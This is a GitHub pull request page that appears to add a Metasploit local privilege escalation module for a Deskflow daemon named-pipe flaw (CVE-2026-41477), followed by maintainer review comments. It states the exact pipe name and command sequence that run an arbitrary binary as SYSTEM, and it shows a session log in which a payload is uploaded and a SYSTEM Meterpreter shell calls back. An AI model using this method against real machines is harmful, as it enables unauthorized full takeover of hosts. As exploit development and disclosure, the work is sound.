Skip to content

Add CVE-2026-41477: Deskflow unauthenticated IPC named pipe LPE#21363

Open
blue0x1 wants to merge 4 commits intorapid7:masterfrom
blue0x1:add/cve-2026-41477-deskflow-ipc-lpe
Open

Add CVE-2026-41477: Deskflow unauthenticated IPC named pipe LPE#21363
blue0x1 wants to merge 4 commits intorapid7:masterfrom
blue0x1:add/cve-2026-41477-deskflow-ipc-lpe

Conversation

@blue0x1
Copy link
Copy Markdown
Contributor

@blue0x1 blue0x1 commented Apr 23, 2026

Summary

This module exploits CVE-2026-41477, an unauthenticated IPC vulnerability in the Deskflow daemon (formerly Synergy). The daemon runs as NT AUTHORITY\SYSTEM and exposes
\\.\pipe\deskflow-daemon with a world-accessible DACL. Any local unprivileged user can connect and send command=<path>, elevate=yes, and start to execute an arbitrary binary as
SYSTEM without authentication.

Affected versions:

  • Deskflow stable v1.20.0
  • Deskflow continuous build v1.26.0.134

Changes

  • Named pipe communication implemented entirely via Railgun (kernel32.CreateFileW, WriteFile, CloseHandle) — no PowerShell or cmd_exec usage
  • Temp path resolved with session.fs.file.expand_path
  • SessionTypes restricted to meterpreter (required for Railgun)
  • Documentation added with verified scenario output

Verification

Tested on Windows 10 22H2 x64 with Deskflow v1.26.0.134:

[msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> run
[] Started reverse TCP handler on 172.16.126.1:4444
[] Uploading payload to C:\Users\katana\AppData\Local\Temp\9qPAnf67.exe...
[] Triggering escalation via deskflow-daemon named pipe...
[] Waiting 45s for SYSTEM session...
[] Sending stage (230982 bytes) to 172.16.126.135
[+] SYSTEM session 12 opened
[] Meterpreter session 12 opened (172.16.126.1:4444 -> 172.16.126.135:1370)

(Meterpreter 12)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM

References

katana added 4 commits April 21, 2026 15:14
…un APIs, add documentation

- Replace all cmd_exec/PowerShell wrappers with kernel32 Railgun calls
  (CreateFileW, WriteFile, CloseHandle) for named pipe communication
- Use session.fs.file.expand_path instead of PowerShell ExpandEnvironmentVariables
- Remove WMI launcher and intermediate PS1 scripts entirely
- Restrict SessionTypes to meterpreter (required for Railgun)
- Add documentation with verified scenario output
@smcintyre-r7 smcintyre-r7 added module rn-modules release notes for new or majorly enhanced modules labels Apr 23, 2026
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm leaving this in case someone else comes along thinking it can be cleaned up like I did at first:

3.3.8 :001 > h = 0xFFFFFFFF
 => 4294967295 
3.3.8 :002 > h.to_i
 => 4294967295 
3.3.8 :003 > i = 0xFFFFFFFFFFFFFFFF
 => 18446744073709551615 

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This appears to just run check again?
Adding prepend Msf::Exploit::Remote::AutoCheck below the includes will run the check unless the user definitively opts out.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this required? Would it not be simpler to increase the wfs_delay?

Comment on lines 94 to 96
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Normally we place things like this at the top of the module as literals and call .freeze on them. Is there a reason to make them private?

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

May be worth checking the return values, here.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I also would not argue against this loop being in a try/catch block with an ensure handle close.

@bwatters-r7 bwatters-r7 requested a review from Copilot April 23, 2026 21:08
@bwatters-r7 bwatters-r7 self-assigned this Apr 23, 2026
@bwatters-r7
Copy link
Copy Markdown
Contributor

Also, per the linting test failures:

== modules/exploits/windows/local/deskflow_ipc_lpe.rb ==
C: 26:  9: [Correctable] Layout/ModuleDescriptionIndentation: Module descriptions should be properly aligned to the 'Description' key, and within %q{ ... }
W: 67:  9: [Correctable] Lint/AssignmentInCondition: Use == if you meant to do a comparison or wrap the expression in parentheses to indicate you meant to assign in a condition.

1 file inspected, 2 offenses detected, 2 offenses autocorrectable
modules/exploits/windows/local/deskflow_ipc_lpe.rb - [ERROR] Rubocop failed. Please run rubocop -a modules/exploits/windows/local/deskflow_ipc_lpe.rb and verify all issues are resolved

Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a new Metasploit local privilege escalation module and accompanying documentation for exploiting an unauthenticated Deskflow daemon named-pipe IPC interface that can execute arbitrary binaries as NT AUTHORITY\SYSTEM.

Changes:

  • Introduces windows/local/deskflow_ipc_lpe exploit module using Railgun-only named pipe I/O to trigger the IPC command sequence.
  • Drops and executes a generated EXE payload via \\.\pipe\deskflow-daemon, with a configurable wait timeout for the elevated session.
  • Adds user-facing module documentation with verification steps and an example scenario.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.

File Description
modules/exploits/windows/local/deskflow_ipc_lpe.rb Implements the Deskflow named pipe LPE exploit flow (pipe open/write, payload drop, session wait).
documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md Documents vulnerable versions, usage steps, options, and a validated example run.

['CVE', '2026-41477'],
['GHSA', 'GHSA-6rx5-g478-775c']
],
'Platform' => 'win',
Copy link

Copilot AI Apr 23, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Module metadata leaves Privileged at the default false, but this exploit is intended to execute the payload as NT AUTHORITY\\SYSTEM. Set 'Privileged' => true in the module info so module filtering/UX correctly reflects that it yields elevated privileges.

Suggested change
'Platform' => 'win',
'Platform' => 'win',
'Privileged' => true,

Copilot uses AI. Check for mistakes.
Comment on lines +114 to +116
def pipe_write(handle, msg)
session.railgun.kernel32.WriteFile(handle, msg, msg.bytesize, 4, nil)
end
Copy link

Copilot AI Apr 23, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

pipe_write ignores the WriteFile result. If the write fails (e.g., broken pipe / access denied), the module will continue as if it succeeded and then just time out. Check the return value (and GetLastError/ErrorMessage) and fail early with a clear error; also consider closing the handle via ensure if you raise from inside the write loop.

Copilot uses AI. Check for mistakes.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd think that the value would be implicitly returned? I guess I'm not sure if we get back an error or not from the railgun call?

Rex::ThreadSafe.sleep(2) until (framework.sessions.keys - initial_sessions).any? || Time.now >= deadline

new_session_id = (framework.sessions.keys - initial_sessions).first
print_good("SYSTEM session #{new_session_id} opened") if new_session_id
Copy link

Copilot AI Apr 23, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If no new session is created before WaitTimeout expires, the module currently exits without indicating failure. Consider failing with a timeout error (or at least printing an error) when new_session_id is nil so operators can distinguish a real timeout from a successful run.

Suggested change
print_good("SYSTEM session #{new_session_id} opened") if new_session_id
fail_with(Failure::TimeoutExpired, "No SYSTEM session was created within #{datastore['WaitTimeout']} seconds") unless new_session_id
print_good("SYSTEM session #{new_session_id} opened")

Copilot uses AI. Check for mistakes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

module rn-modules release notes for new or majorly enhanced modules

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

4 participants